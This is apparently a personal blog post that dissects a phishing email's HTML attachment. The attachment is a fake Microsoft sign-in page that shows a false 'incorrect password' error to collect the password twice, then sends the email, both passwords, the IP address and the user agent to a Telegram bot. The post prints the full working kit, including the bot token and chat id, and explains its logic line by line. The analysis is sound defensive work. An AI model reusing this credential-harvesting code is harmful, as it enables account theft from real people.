Earlier this year I did a post about a phishing attempt I received. While I get these somewhat frequently, I decided to have a dig into the one I received today for no reason other than it seemed interesting.
The email
Here’s the email I received:
This is super low effort and very clear that it’s a phishing attempt. There’s a huge string of text and numbers in the “from” name. What does it mean by “14 inbox delivery”? The fact that there’s a validation form on a random HTML attachment makes it painfully obvious that I shouldn’t open this.
I tried to figure out what 900150983cd24fb0d6963f7d28e17f72900150983cd24fb0d6963f7d28e17f72900150983cd24fb0d6963f7d28e17f72 means from the sender, but I couldn’t find anything meaningful in any decryption. I thought it might’ve been a Bitcoin address, but it’s too long for that, and nothing came back from standard web searches, so 🤷. If you figure it out - let me know!
Let’s download the HTML file and open it in VS Code.
The attachment contents
1
2
3
4
5
6
7
8
9
| <script>
var email = "<yes, my real email was here>";
var token = "5372900524:AAEesupk4LMrZO_4PONhPBHIpFu3ey-6O20";
var chat_id = 5510932248;
var data = atob(
"<!DOCTYPE html>
<html dir="ltr" class="" lang="en">
    <head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <title>Sign in to your account</title>
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=2.0, user-scalable=yes">
    <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js"></script>
    <link rel="shortcut icon" href="https://aadcdn.msftauth.net/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico">    
    <link data-loader="cdn" crossorigin="anonymous" href="https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/converged.v2.login.min_ziytf8dzt9eg1s6-ohhleg2.css" rel="stylesheet">
    <script>
        $(document).ready(function() {$("#displayName").empty().append(email); $.getJSON("https://api.ipify.org?format=json", function(data) {$("#gfg").html(data.ip);})});
    </script>
</head>
<body class="cb" style="display: block;">
<p id="gfg" style="display: none;"></p>
<form name="f1" id="i0281" novalidate="novalidate" spellcheck="false" method="post" target="_top" autocomplete="off" action="">
    <div class="login-paginated-page">
        <div id="lightboxTemplateContainer">
<div id="lightboxBackgroundContainer">
    <div class="background-image-holder" role="presentation">
    <div class="background-image ext-background-image" style="background-image: url(&quot;https://aadcdn.msftauth.net/shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg&quot;);"></div>
</div></div>
<div class="outer">
    <div class="template-section main-section">
        <div class="middle ext-middle">
            <div class="full-height">
<div class="flex-column">
    <div class="win-scroll">
        <div id="lightbox" class="sign-in-box ext-sign-in-box fade-in-lightbox">
        <div><img class="logo" role="img" pngsrc="https://aadcdn.msftauth.net/shared/1.0/content/images/microsoft_logo_ed9c9eb0dce17d752bedea6b5acda6d9.png" svgsrc="https://aadcdn.msftauth.net/shared/1.0/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg" src="https://aadcdn.msftauth.net/shared/1.0/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg" alt="Microsoft"></div>
        <div role="main">
<div class="animate slide-in-next">
        <div >
<div class="identityBanner">
    <div id="displayName" class="identity"></div>
</div></div>
    </div>
    <div class="pagination-view animate has-identity-banner slide-in-next">
    <div>

<div id="loginHeader" class="row title ext-title">
    <div role="heading" aria-level="1">Enter password</div>
</div>
<div id="errorpw" style="color: red; margin: 15px; margin-left: 0px; margin-top: 0px; margin-bottom: 0px;"></div>
<div class="row">
    <div class="form-group col-md-24">
        <div class="placeholderContainer">
            <input name="passwd" type="password" id="i0118" autocomplete="off" class="form-control input ext-input text-box ext-text-box" placeholder="Password" required />
</div>
    </div>
</div>
<div>
<div class="position-buttons">
    <div>
        <div class="row">
            <div class="col-md-24">
                <div class="text-13">
                    <div class="form-group">
                        <a id="idA_PWD_ForgotPassword" role="link" href="#">Forgotten my password</a>
                    </div>
<div class="form-group">
</div>
        <div class="form-group">
            <a id="i1668" href="#">Sign in with another account</a>
        </div></div></div></div>
    </div>

    <div class="win-button-pin-bottom">
        <div class="row">
            <div><div class="col-xs-24 no-padding-left-right button-container">
    <div class="inline-block">
        <input type="submit" id="idSIButton9" class="win-button button_primary button ext-button primary ext-primary" value="Sign in">
    </div>
</div></div>
        </div>
    </div>
</div></div>
    </div>
</div></div></div></div>
    </div>
</div></div>
        </div>
    </div>
    <div id="footer" role="contentinfo" class="footer ext-footer">
        <div>
<div id="footerLinks" class="footerNode text-secondary">
        <a id="ftrTerms" href="#" class="footer-content ext-footer-content footer-item ext-footer-item">Terms of use</a>
        <a id="ftrPrivacy" href="#" class="footer-content ext-footer-content footer-item ext-footer-item">Privacy &amp; cookies</a>
    <a id="moreOptions" href="#" aria-label="Click here for troubleshooting information" class="footer-content ext-footer-content footer-item ext-footer-item debug-item ext-debug-item">...</a>
</div></div>
    </div>
</div></div></div>
</form>
<script>
    var count = 0;
    var pswd1;
    document.getElementById("idSIButton9").addEventListener("click", function(e) {
    e.preventDefault();

    var pswd = document.getElementById('i0118').value;
    if (pswd == null || pswd == ""){
        document.getElementById('errorpw').innerHTML = `Your account password cannot be empty. if you don't remember your password, <a href="#">reset it now.</a>`;
        setTimeout(() => {document.getElementById('errorpw').innerHTML = '';}, 3000);}
    else if(pswd.length < 5){
        document.getElementById('errorpw').innerHTML = "Your account password is too short.";
        setTimeout(() => {document.getElementById('errorpw').innerHTML = ''; document.getElementById("i0281").reset();}, 3000);
    } else if (count<1){
        pswd1 = document.getElementById('i0118').value;
        document.getElementById('errorpw').innerHTML = `Your account or password is incorrect. if you don't remember your password, <a href="#">reset it now.</a>`;
        document.getElementById("i0281").reset(); count++;}
    else {
        var IP = document.getElementById('gfg').textContent;
        var message = `====== O365 Result ======\r\nEmail: ${email}\r\nPassword1: ${pswd1}\r\nPassword2: ${pswd}\r\nIP: https://ip-api.com/${IP}\r\nUser-Agent: ${navigator.userAgent}\r\n===================`;
        var settings = {
            "async": true, "crossDomain": true, "url": "https://api.telegram.org/bot" + token + "/sendMessage",
            "method": "POST", "headers": {"Content-Type": "application/json", "cache-control": "no-cache"},
            "data": JSON.stringify({"chat_id": chat_id, "text": message})}
        $.ajax(settings).done((response) => {window.location.replace('https://portal.office.com/servicestatus');});
    } 
    }); 
</script>
</div></body></html>"
);
document.write(data);
</script>
|
So that’s interesting, it’s just a script tag with some JavaScript variables and a giant blob that will contain some HTML that will get written to the body. I guess we better parse out that blob and see what we’re dealing with.
As the HTML it generates is quite long, I’ve popped it into a gist that you can find here. And what does it look like?
It looks like the login screen to a Microsoft account, prompting me to enter the password.
Note: I removed the JS from the file before loading it in the browser, just for extra safety.
Breaking down how it works
Clearly it’s trying to capture my password for my Microsoft account (MSA), but how will it do that, and how will they get it to themselves since this is an offline file? For that, we need to dig into the JavaScript a bit. There’s two scripts that run on the page, the first one is quite straight forward:
1
2
3
4
5
6
| $(document).ready(function () {
$("#displayName").empty().append(email);
$.getJSON("https://api.ipify.org?format=json", function (data) {
$("#gfg").html(data.ip);
});
});
|
It’s pushing my email (which was in the original file) to a field so I think I’m signing in, and then it’s calling a service to get my public IP.
Of interesting note, they are using jQuery here and if we look at the script include a few lines above, we’ll notice it’s version 3.4.1, and that was released in 2019, so it’s possible that this basic phishing script has been floating around for a long time. Also, I wondered about why they’d use jQuery and not the native fetch API, as that’d reduce the external dependencies, and thus, the number of points of failure. While I don’t know the true motivations of this scammer, my guess would be that since a victim of this is someone who isn’t tech savvy, there’s a chance they are still using an outdated browser such as Internet Explorer, so jQuery would mean they don’t have to worry about browser compatibility and hit as wider target as possible.
Ok, back on topic, what’s the other script block doing?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
| var count = 0;
var pswd1;
document.getElementById("idSIButton9").addEventListener("click", function (e) {
e.preventDefault();
var pswd = document.getElementById("i0118").value;
if (pswd == null || pswd == "") {
document.getElementById(
"errorpw"
).innerHTML = `Your account password cannot be empty. if you don't remember your password, <a href="#">reset it now.</a>`;
setTimeout(() => {
document.getElementById("errorpw").innerHTML = "";
}, 3000);
} else if (pswd.length < 5) {
document.getElementById("errorpw").innerHTML =
"Your account password is too short.";
setTimeout(() => {
document.getElementById("errorpw").innerHTML = "";
document.getElementById("i0281").reset();
}, 3000);
} else if (count < 1) {
pswd1 = document.getElementById("i0118").value;
document.getElementById(
"errorpw"
).innerHTML = `Your account or password is incorrect. if you don't remember your password, <a href="#">reset it now.</a>`;
document.getElementById("i0281").reset();
count++;
} else {
var IP = document.getElementById("gfg").textContent;
var message = `====== O365 Result ======\r\nEmail: ${email}\r\nPassword1: ${pswd1}\r\nPassword2: ${pswd}\r\nIP: https://ip-api.com/${IP}\r\nUser-Agent: ${navigator.userAgent}\r\n===================`;
var settings = {
async: true,
crossDomain: true,
url: "https://api.telegram.org/bot" + token + "/sendMessage",
method: "POST",
headers: {
"Content-Type": "application/json",
"cache-control": "no-cache",
},
data: JSON.stringify({
chat_id: chat_id,
text: message,
}),
};
$.ajax(settings).done((response) => {
window.location.replace("https://portal.office.com/servicestatus");
});
}
});
|
Now this looks more like it, here’s how they are going to get your information. Let’s break it down step-by-step.
To start, they have a click handler on the Sign In button and when clicked they grab the password from the password field. Then we enter a chain of if blocks.
1
2
3
4
5
6
7
8
| if (pswd == null || pswd == "") {
document.getElementById(
"errorpw"
).innerHTML = `Your account password cannot be empty. if you don't remember your password, <a href="#">reset it now.</a>`;
setTimeout(() => {
document.getElementById("errorpw").innerHTML = "";
}, 3000);
}
|
Blank password test, sure, makes logical sense. Interesting that they clear out the error message after a period too, like, what’s the point in that? Ok, next conditional test:
1
2
3
4
5
6
7
8
| if (pswd.length < 5) {
document.getElementById("errorpw").innerHTML =
"Your account password is too short.";
setTimeout(() => {
document.getElementById("errorpw").innerHTML = "";
document.getElementById("i0281").reset();
}, 3000);
}
|
Hahah they are enforcing a minimum of 5 characters on their password! I think MSA has a minimum length of 8 though, but I’ll admit to having never investigated it. Hats off for trying to make it seem legit, although I’m saddened, they didn’t add anything more around password complexity. 🤣
This brings us to the third branch:
1
2
3
4
5
6
7
8
| if (count < 1) {
pswd1 = document.getElementById("i0118").value;
document.getElementById(
"errorpw"
).innerHTML = `Your account or password is incorrect. if you don't remember your password, <a href="#">reset it now.</a>`;
document.getElementById("i0281").reset();
count++;
}
|
Now this is interesting. The variable count is a globally scoped one on the page that starts out at 0, so assuming you’ve provided a password and it was longer than 5 characters, you’re going to land in this branch where it puts the password you entered into pswd1, which is a globally scoped variable, before then showing you an error message and increasing the count.
What we can assume here is that they are using this as a fake out to the victim, having them think they incorrectly entered the password, so that they enter it a second time, and that lands us in the final branch of our code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
| var IP = document.getElementById("gfg").textContent;
var message = `====== O365 Result ======\r\nEmail: ${email}\r\nPassword1: ${pswd1}\r\nPassword2: ${pswd}\r\nIP: https://ip-api.com/${IP}\r\nUser-Agent: ${navigator.userAgent}\r\n===================`;
var settings = {
async: true,
crossDomain: true,
url: "https://api.telegram.org/bot" + token + "/sendMessage",
method: "POST",
headers: {
"Content-Type": "application/json",
"cache-control": "no-cache",
},
data: JSON.stringify({
chat_id: chat_id,
text: message,
}),
};
$.ajax(settings).done((response) => {
window.location.replace("https://portal.office.com/servicestatus");
});
|
When the victim runs this code block it’s building up a message that contains their email (from the original script you download), the password they entered and were told was wrong, then the password they entered this time, plus some metadata like their IP and user agent. Interestingly, they are using a template literal which isn’t supported in IE, so maybe my assertion on why they used jQuery is wrong and they are doing it because they are lazy (odd that they don’t use the template literal for the url in the AJAX settings though…). I find the double-password trick quite an interesting one, as it suggests that they are anticipating that people could do a mistake, so by having them prompt twice, the victim will either validate that their password by entering the same one again - which will work and they are none the wiser, or they’ll hand over a secondary password that they may use on other services.
The result of this is a message payload like so:
====== O365 Result ======
Email: foo@bar.com
Password1: abc123
Password2: abc123
IP: https://ip-api.com/1.1.1.1
User-Agent: ...
===================
This payload is then sent to a Telegram chat, using the token and chat_id from the downloaded attachment, before the user is redirected to the Office status page, leaving them none the wiser that their details have been sent away.
Summary
Sadly, it looks like this token has been revoked, as when I tried to use it against the Telegram API (even replicating the sendMessage call but with a cough different message), I was getting a 401, meaning I couldn’t try and dig into the chat itself.
Like last time, this was interesting, looking at how the scammer is trying to get the information from the victim. I find the use of the fake out on password failing to get them to validate their password (or give over a secondary password) quite a clever way to go about collecting credentials and reducing the risk of getting invalid ones out of it.
And with that, this email is getting flagged in M365 as phishing and let’s hope that improves the phishing detection, so it lands in less inboxes.